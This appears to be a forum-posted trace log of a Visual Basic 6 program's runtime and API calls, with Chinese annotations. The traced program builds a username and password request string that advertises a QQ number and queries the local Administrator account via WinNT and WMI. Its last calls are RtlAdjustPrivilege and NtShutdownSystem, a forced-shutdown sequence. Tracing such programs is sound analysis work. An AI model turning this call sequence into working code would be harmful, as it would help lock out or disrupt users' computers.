返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:42)
__vbaI4Var返回值: 0x0000002A(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000002A
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"4")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"4")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"4")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000034 ( '4' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000034
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"4")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=10249")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=102494")
返回地址: 00405CEF 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B44C68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405D28 函数名称: __vbaLateMemCallLd(MSVBVM60.DLL)
__vbaLateMemCallLd:
lpStockBuffer=0x0012F824
Guid=0x01B44C68
String="ReadyState"
nType=0x00000000
__vbaLateMemCallLd返回值: 0x0012F824 (vb长整型:4)
返回地址: 00405D36 函数名称: __vbaVarTstEq(MSVBVM60.DLL)
__vbaVarTstEq: 变量是否相等
Var1=0x0012F804 (vb整型:4)
Var2=0x0012F824 (vb长整型:4)
__vbaVarTstEq返回值: 0xFFFFFFFF(NULL表示不相等)
返回地址: 00405D7F 函数名称: __vbaLateMemCallLd(MSVBVM60.DLL)
__vbaLateMemCallLd:
lpStockBuffer=0x0012F824
Guid=0x01B44C68
String="responseBody"
nType=0x00000000
__vbaLateMemCallLd返回值: 0x0012F824 (vb字节类型:240)
返回地址: 00405D97 函数名称: rtcStrConvVar2(MSVBVM60.DLL)
rtcStrConvVar2: 压缩字符串
arg1=0x0012F814
vbVar=0x0012F824 (vb字节类型:240)
返回地址: 00405DD5 函数名称: __vbaObjSetAddref(MSVBVM60.DLL)
__vbaObjSetAddref返回值: 0x00000000
返回地址: 00405DE8 函数名称: __vbaObjSetAddref(MSVBVM60.DLL)
__vbaObjSetAddref返回值: 0x00000000
返回地址: 00404CF7 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00000000 (NULL)
返回地址: 00404E8E 函数名称: rtcCreateObject2(MSVBVM60.DLL)
rtcCreateObject2返回值: 0x0012FA0C
返回地址: 00404E9F 函数名称: __vbaVarSetVar(MSVBVM60.DLL)
__vbaVarSetVar返回值: 0x0012FAE4
返回地址: 00404ED2 函数名称: __vbaVarLateMemCallLd(MSVBVM60.DLL)
__vbaVarLateMemCallLd返回值: 0x0012FA0C
返回地址: 00404EEA 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F9FC
Var2=0x0012F9CC (vb字符串:",user")
Var3=0x0012FA0C (vb字符串:"Administrator")
__vbaVarCat返回值: 0x0012F9FC (vb字符串:"Administrator,user")
返回地址: 00404F55 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012FA0C
Var2=0x0012FA60 (vb字符串:"Administrator,user")
Var3=0x0012F9CC (vb字符串:"WinNT://./")
__vbaVarCat返回值: 0x0012FA0C (vb字符串:"WinNT://./Administrator,user")
返回地址: 00405086 函数名称: __vbaObjVar(MSVBVM60.DLL)
返回地址: 004050C3 函数名称: __vbaObjVar(MSVBVM60.DLL)
返回地址: 004050FA 函数名称: __vbaVarDup(MSVBVM60.DLL)
__vbaVarDup: 变量复制,从变量1复制到变量2
Var1=0x0012FB20
Var2=0x0012FBF0
__vbaVarDup返回值: 0x0012FA0C (vb字符串:"UserName")
返回地址: 0040510E 函数名称: rtcEnvironVar(MSVBVM60.DLL)
rtcEnvironVar返回值: 0x0012F9FC
返回地址: 0040511B 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"Administrator")
__vbaStrVarMove返回值: 0x0017179C (unicode字符串"Administrator")
返回地址: 00405126 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017179C (unicode字符串"Administrator")
返回地址: 004051F8 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012FA0C
Var2=0x0012FAC0 (vb字符串:".")
Var3=0x0012F9CC (vb字符串:"winmgmts:\\")
__vbaVarCat返回值: 0x0012FA0C (vb字符串:"winmgmts:\\.")
返回地址: 0040520D 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F9FC
Var2=0x0012F9BC (vb字符串:"\root\cimv2")
Var3=0x0012FA0C (vb字符串:"winmgmts:\\.")
__vbaVarCat返回值: 0x0012F9FC (vb字符串:"winmgmts:\\.\root\cimv2")
返回地址: 00405265 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="Administrator"
String2="Select * from Win32_UserAccount where Name='"
__vbaStrCat返回值: 0x00187C04 (unicode字符串"Select * from Win32_UserAccount where Name='Administrator")
返回地址: 00405273 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00187C04 (unicode字符串"Select * from Win32_UserAccount where Name='Administrator")
返回地址: 0040527F 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="'"
String2="Select * from Win32_UserAccount where Name='Administrator"
__vbaStrCat返回值: 0x001AFA1C (unicode字符串"Select * from Win32_UserAccount where Name='Administrator'")
返回地址: 0040535F 函数名称: __vbaVarLateMemCallLd(MSVBVM60.DLL)
返回地址: 004053B6 函数名称: __vbaForEachVar(MSVBVM60.DLL)
返回地址: 004054BB 函数名称: __vbaVarLateMemCallLd(MSVBVM60.DLL)
返回地址: 00405511 函数名称: __vbaNextEachVar(MSVBVM60.DLL)
返回地址: 00402EE7 函数名称: DllFunctionCall(MSVBVM60.DLL)
DllFunctionCall: 加载DLL
lpDllName="ntdll"
DllFunctionCall返回值: 0x7C949A4D(dll句柄)
返回地址: 004062FA 函数名称: RtlAdjustPrivilege(ntdll.dll)
RtlAdjustPrivilege返回值: 0x00000000
返回地址: 00402F33 函数名称: DllFunctionCall(MSVBVM60.DLL)
DllFunctionCall: 加载DLL
lpDllName="ntdll"
DllFunctionCall返回值: 0x7C92DDD0(dll句柄)
返回地址: 00406309 函数名称: NtShutdownSystem(ntdll.dll)
停止输出.
[/mw_shl_code] |